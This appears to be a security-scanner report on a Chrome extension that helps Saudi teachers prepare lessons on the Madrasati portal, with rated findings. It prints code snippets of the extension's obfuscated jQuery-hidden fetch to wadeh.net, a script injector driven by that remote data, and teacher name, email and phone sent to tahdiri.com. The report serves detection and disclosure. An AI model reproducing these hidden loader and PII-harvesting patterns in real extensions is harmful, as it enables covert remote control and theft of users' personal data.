تحضيري

تحضيري

ID: iclelabpkphlfifajflffldnlffhnigl

Supported Languages

🇸🇦Arabic

Extension Info & Metadata

Status
Active
Version
9.9.26
Size
0.03 MB
Rating
3.5/5
Reviews
208
Users
50,000
Type
Extension
Updated
Dec 22, 2025
Category
Developer tools
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
tahdiri.comView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
1
Obsolete
0
Listed
1
Unlisted
0
Total Users
50,000
Screenshot 2

تبسيط تعديل واعداد الحصص للمعلم

اضافة مهمة لدعم المعلمين في انجاز مهامهم اليومية بضغطة زر واحدة 1- اضافة مساعدة للمعلم في تحضر الدروس في جدول منصة مدرستي 2- المساعدة في اضافة الواجبات والاثراءات من منصة عين الى دروسك بشكل سريع وسهل ----------------------------------------------------------------- 3- يمكنك حفظ تحضير واستيراده في درس اخر بدلا من ان تكرر كتابة نفس التحضير لنفس الدرس لفصول متعددة ---------------------------------------------------------------- 4- تساعد الاضافة في تحضير حصص الاسبوع بشكل سريع وواضح 5- تمكنك الاضافة من وضع بيانات واثراءات معتمدة على الدرس المختار حيث تضع رابط الاثراء رابط شرح الدرس على منصة عين او رابط شرحه على اليوتيوب. ------------------------------------------------------------- 6- تساعد الاضافة في تغيير مسار الدرس ومن ثم تقوم بدعمك في تحضير الدرس بناءا على المسار المختار 7- يمكنك تغيير التحضير قبل الحفظ ----------------------------------------------------------- 8- لا تحتاج الاضافة الى اي كلمات مرور او حسابات 9- لا تقوم الاضافة بترحيل اي بيانات خارج جهاز المستخدم ---------------------------------------------------------- برمجة وتصميم : مؤسسة تحضيري لتصميم نظم الحاسب الآلي التعليمية والتدريبية مكة المكرمة 0542946749

Item
Type
Severity
Description
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 10% increase: Early script execution enables pre-emptive content manipulation
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.

At the top of the bundled jQuery file (running on every page under schools.madrasati.sa at document_start) the extension silently fetches data from an unrelated third-party domain wadeh.net (not the extension's own tahdiri.com backend) and persists the JSON response in chrome.storage.local under an obscure key 'qqw'. The call is inserted inline into what is otherwise a stock jQuery 3.6.1 library and uses bracket-notation property access throughout the file (e.g., chrome['storage']['local']) to blend with surrounding obfuscated code, making the exfiltration/C2 channel harder to spot during review.

contentScript2.js (Line 58)
fetch('https://wadeh.net/ta1.php')['then'](cF => {  return cF['json']();})['then'](cF => {  chrome['storage']['local']['set']({    'qqw': JSON['stringify'](cF)  })['then'](() => {});});

The data fetched from wadeh.net is read back from chrome.storage.local and concatenated unescaped into the src URL of a dynamically created <script> element pointing at the extension-bundled myscript2.js. The injected script reads the query string ('?a=' + remote payload) at runtime, giving the operator of wadeh.net a server-controlled channel to influence in-page behavior on the Saudi Ministry of Education school portal (schools.madrasati.sa). Combined with the document_start injection point, this is a remotely steerable code path that bypasses normal extension review.

contentScript2.js (Line 4211)
function injectCode(a) {  var b = document['createElement']('script');  b['src'] = a, b['onload'] = function() {    this['remove']();  }, nullthrows(document['head'] || document['documentElement'])['appendChild'](b);}chrome['storage']['local']['get'](['qqw'])['then'](a => {      a['qqw'] == undefined ? injectCode(chrome['runtime']['getURL']('/myscript2.js?a=[\x22\x22]')) : injectCode(chrome[        'runtime']['getURL']('/myscript2.js?a=' + a['qqw']));

The contentScript2.js (4219 lines, injected on every schools.madrasati.sa page) is a copy of jQuery + base64 helpers heavily transformed with bracket-notation property access, hex numeric literals (0x0, 0x1), and \x20-escaped strings throughout. That style is consistent with running stock libraries through a string-array/property-renaming obfuscator, and here it has the effect of camouflaging the wadeh.net fetch and the dynamic <script> injector at lines 58 and 4211–4219 inside ~4200 lines of unrelated library code.

contentScript2.js (Line 1)
! function(a, b) {  'use strict';  'object' == typeof module && 'object' == typeof module['exports'] ? module['exports'] = a['document'] ? b(a, !0x0) :    function(c) {      if (!c['document'])        throw new Error('jQuery\x20requires\x20a\x20window\x20with\x20a\x20document');      return b(c);    } : b(a);}('undefined' != typeof window ? window : this, function(a0, a1) {

Teacher PII (email, full name, phone number) read from localStorage is concatenated directly into a URL path and used to navigate the user to tahdiri.com. Even though tahdiri.com is the extension's own backend (matching the extension's Arabic name تحضيري), placing identifying data in URL path segments leaks it into browser history, HTTP access logs, Referer headers, and any upstream proxy/CDN logs — a poor practice for handling personal data.

Sscript3.js (Line 5927)
`https://tahdiri.com/addpackage/${localStorage.getItem("email")}/${localStorage.getItem("name")}/${localStorage.getItem("phone_teacher")}`)

By severity

Critical0
High19
Medium14
Low4

Versions scanned

Showing 7 of 79 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
9.9.284
9.9.264
9.9.257
9.9.165
9.9.136
9.9.127
9.9.94

Files with findings

6 distinct paths — top paths by unique finding count:

  • contentScript2.js17
  • Sscript3.js8
  • rule.json4
  • Sscript.js4
  • Sscript2.js3
  • contentScript4.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
high
contentScript2.js (line 4211)Reads the JSON previously fetched from wadeh.net out of chrome.storage and concatenates it directly into the URL of a <script src> injected into the page's MAIN world. The bundled myscript2.js then executes in the pag…
2Code Injection
high
contentScript2.js (line 4211)The content script injects `myscript2.js` into the page's main world with the previously-fetched wadeh.net JSON appended verbatim to `script.src` as a query parameter. The injected script (web-accessible) reads its ow…
3Code Injection
high
contentScript2.js (line 4211)The previously cached wadeh.net response (`qqw`) is concatenated unsanitized into a query string and used as the `src` of an injected `<script>` tag pointing at the web-accessible `myscript2.js`. This gives the remote…
4Data Exfiltration
high
Sscript3.js (line 5534)Teacher PII collected on the government portal is POSTed to tahdiri.com — a remote service the user has no relationship with from the host site's perspective. PII (email, name, phone) and authenticated school-portal l…
5Data Exfiltration
high
Sscript.js (line 3152)School/teacher/student identifiers harvested from the host page (subject `mada`, class `saf`, teacher `molm`, school `mdrsa`, student list `tolab`) are concatenated into the query string of an anonymous Google Apps Sc…
6Obfuscation
high
contentScript2.js (line 1)The entire contentScript2.js file is jQuery 3.6.1 source (see version literal 'al = "3.6.1"' on line 54) that has been deliberately rewritten with bracket-notation property access ('document', 'exports'), hex numeric …
7Remote Code Loading
high
contentScript2.js (line 54)At top-level inside what is otherwise a verbatim jQuery 3.6.1 source file, the script issues an unconditional fetch to https://wadeh.net/ta1.php (a domain unrelated to the extension's stated service tahdiri.com) and p…
8Remote Code Loading
high
contentScript2.js (line 4211)The previously-fetched payload from wadeh.net (stored as 'qqw') is appended verbatim to the URL of an injected page-context script (myscript2.js). The injected script runs in the MAIN world of every schools.madrasati.…
9Remote Code Loading
high
contentScript2.js (line 58)At the top of the bundled jQuery file (running on every page under schools.madrasati.sa at document_start) the extension silently fetches data from an unrelated third-party domain wadeh.net (not the extension's own ta…
10Remote Code Loading
high
contentScript2.js (line 4211)The data fetched from wadeh.net is read back from chrome.storage.local and concatenated unescaped into the src URL of a dynamically created <script> element pointing at the extension-bundled myscript2.js. The injected…
11Remote Code Loading
high
contentScript2.js (line 54)Content script injected into all schools.madrasati.sa pages at document_start fetches JSON from a hard-coded third-party host wadeh.net (unrelated to the extension's stated Saudi education target sites and not adverti…
12Remote Code Loading
high
contentScript2.js (line 54)A fetch to a third-party domain (`wadeh.net/ta1.php`) is hidden inside what is otherwise jQuery 3.6.1 source code. The retrieved JSON is persisted to `chrome.storage.local` under key `qqw` and later (line 4217-4219) a…
13Remote Code Loading
high
contentScript4.js (line 54)Same hidden third-party-config pattern as in contentScript2.js, but using endpoint `wadeh.net/ta2.php` and storage key `qqws`. The retrieved data is later passed to `injectCode('/myscript4.js?a=' + qqws)` (line 4217-4…
14Remote Code Loading
high
contentScript2.js (line 54)Content script (a bracket-notation/hex-obfuscated jQuery 3.6.1 build) silently fetches arbitrary JSON from `https://wadeh.net/ta1.php` and persists it to `chrome.storage.local` under key `qqw`. wadeh.net is not the ve…
15Remote Code Loading
high
contentScript2.js (line 58)An unauthenticated GET request is issued to the third-party domain wadeh.net (unrelated to the extension's stated purpose of working with the Saudi schools.madrasati.sa site) and the JSON response is persisted into ch…
16Remote Code Loading
high
contentScript2.js (line 4211)The data fetched from wadeh.net (cached in chrome.storage as 'qqw') is concatenated directly into the URL of a script tag injected into the host page (madrasati.sa). The injected script (myscript2.js) runs in page con…
17Unauthorized Data Collection
high
Sscript3.js (line 5484)Silently scrapes the teacher's email, full legal name (first/middle/family) and mobile number (split on Saudi country code 966) from a fetched profile page on the Saudi government schools.madrasati.sa portal and store…
18Unauthorized Data Collection
high
Sscript.js (line 1847)The script silently scrapes the teacher's full name (first/second/family), email, and Saudi mobile number from the Madrasati teacher profile page and stores them in localStorage. These values are then transmitted to `…
19Unauthorized Data Collection
high
Sscript.js (line 1847)The extension scrapes the logged-in teacher's Microsoft/MoE email, full legal name (first+second+family) and Saudi mobile number (with country prefix 966 stripped) out of a madrasati.sa profile page and stores them in…
20Data Exfiltration
medium
Sscript3.js (line 6559)Builds a navigation URL that places the teacher's email, full name, and phone number into the URL path of a third-party site. Putting PII in URL path segments leaks it into the third party's web-server access logs, an…
21Data Exfiltration
medium
Sscript3.js (line 5532)While the user browses madrasati.sa, the content script POSTs the scraped teacher email to a third-party server (tahdiri.com) controlled by the extension developer. The same pattern is repeated in Sscript2.js (https:/…
22Data Exfiltration
medium
Sscript2.js (line 5469)Sends the previously harvested teacher email together with curriculum selection IDs to tahdiri.com. Combined with the profile-scraping in Sscript3.js (name, phone, email), the developer's external server can correlate…
23Network Interception
medium
rule.json (line 1)The declarativeNetRequest ruleset silently blocks a specific cookie-handling script (vstedu.azureedge.net/v19/scripts/jquery.cookie.js?v=12) loaded by the Saudi Ministry of Education's madrasati.sa portal. Suppressing…
24Network Interception
medium
rule.json (line 1)declarativeNetRequest rule that blocks the host site's own jquery.cookie.js from loading on schools.madrasati.sa / external.madrasati.sa. Selectively neutering a script the host site relies on (cookie management) is a…
25Network Interception
medium
rule.json (line 1)declarativeNetRequest rule blocks a specific cookie-handling script (`jquery.cookie.js`) loaded by the host madrasati.sa platform. Suppressing the host site's cookie helper while the extension simultaneously injects s…
26Network Interception
medium
rule.json (line 1)The declarativeNetRequest ruleset blocks a specific third-party script (jquery.cookie.js served from a Microsoft Azure CDN) only when the user is on the madrasati.sa domains. Suppressing a legitimate first-party site'…
27Obfuscation
medium
contentScript2.js (line 58)The remote command-and-config call is hidden inside a file that otherwise reproduces the standard jQuery 3.6.1 source (variable names a0..af, the jQuery init wrapper, etc.), making the malicious behavior easy to miss …
28Obfuscation
medium
contentScript2.js (line 1)The contentScript2.js (4219 lines, injected on every schools.madrasati.sa page) is a copy of jQuery + base64 helpers heavily transformed with bracket-notation property access, hex numeric literals (0x0, 0x1), and \x20…
29Obfuscation
medium
contentScript2.js (line 1)The bundled jQuery copy (also reused as contentScript2/4.js) is rewritten with bracket-only property access, hex numeric literals, and minimally-meaningful identifiers (`a0`, `cF`, `e4`) — patterns characteristic of l…
30Remote Code Loading
medium
Sscript2.js (line 5242)Embedded SweetAlert2 v11.7.1 'protestware': if browser language starts with 'ru' and host TLD is .ru/.su/.xn--p1ai, after 3 days it disables pointer events on the page and loops an MP3 (Ukrainian anthem) from flag-gim…
31Tracking
medium
Sscript3.js (line 1)On every page load matching the timetable URL, the extension polls localStorage and POSTs the user's email and a usage counter (`numbers`) to `tahdiri.com/api/user-request`. The use of synchronous AJAX (`async:!1`), a…
32Tracking
medium
Sscript3.js (line 1)Background polling loop that reads the user's email from localStorage and POSTs it together with usage counters to `https://tahdiri.com/api/user-request`, then auto-closes the browser tab via `window.close()`. The com…
33Unauthorized Data Collection
medium
Sscript3.js (line 5483)The extension silently fetches the teacher's profile page (/SystemUser/Home/UpdateMyInformation) and scrapes their Microsoft Teams email, full first/middle/family name, and Saudi mobile number (after stripping the +96…
34Obfuscation
low
contentScript2.js (line 1)All property and method access in this content script is rewritten to bracketed string-literal form (chrome['storage']['local']['set'], cF['then'], document['createElement']('script')) and numeric literals are emitted…
35Other
low
Sscript.js (line 1491)Embedded SweetAlert2 v11.7.1 contains the well-known protestware payload that, on Russian-language browsers visiting `.ru/.su/.xn--p1ai` hosts, disables all pointer events on `document.body` and loops an external MP3 …
36Privilege Escalation
low
Sscript2.js (line 6116)The extension reads the page's anti-CSRF token (#csrfid / __RequestVerificationToken) and replays it on synchronous POSTs that create LearningResources, assignments, exams, and projects on the user's behalf. While tar…
37Unauthorized Data Collection
low
Sscript3.js (line 5927)Teacher PII (email, full name, phone number) read from localStorage is concatenated directly into a URL path and used to navigate the user to tahdiri.com. Even though tahdiri.com is the extension's own backend (matchi…
URLs
55
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3
tahdiri.com/api/user-requesthttps://tahdiri.com/api/user-request
wadeh.net/ta1.phphttps://wadeh.net/ta1.php
wadeh.net/ta2.phphttps://wadeh.net/ta2.php
clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
schools.madrasati.sa/SchoolManagment/Actions/Teacher/*https://schools.madrasati.sa/SchoolManagment/Actions/Teacher/*
external.madrasati.sa/SchoolManagment/Actions/Teacher/*https://external.madrasati.sa/SchoolManagment/Actions/Teacher/*
schools.madrasati.sa/Teacher/Lessons/LessonDetailsNewhttps://schools.madrasati.sa/Teacher/Lessons/LessonDetailsNew?Data=*
schools.madrasati.sa/SchoolSchedule/Schedule/ManageLecturehttps://schools.madrasati.sa/SchoolSchedule/Schedule/ManageLecture?SchoolId=*
external.madrasati.sa/Teacher/Lessons/LessonDetailsNewhttps://external.madrasati.sa/Teacher/Lessons/LessonDetailsNew?Data=*
Showing 1 to 10 of 60 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 10 of 80 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.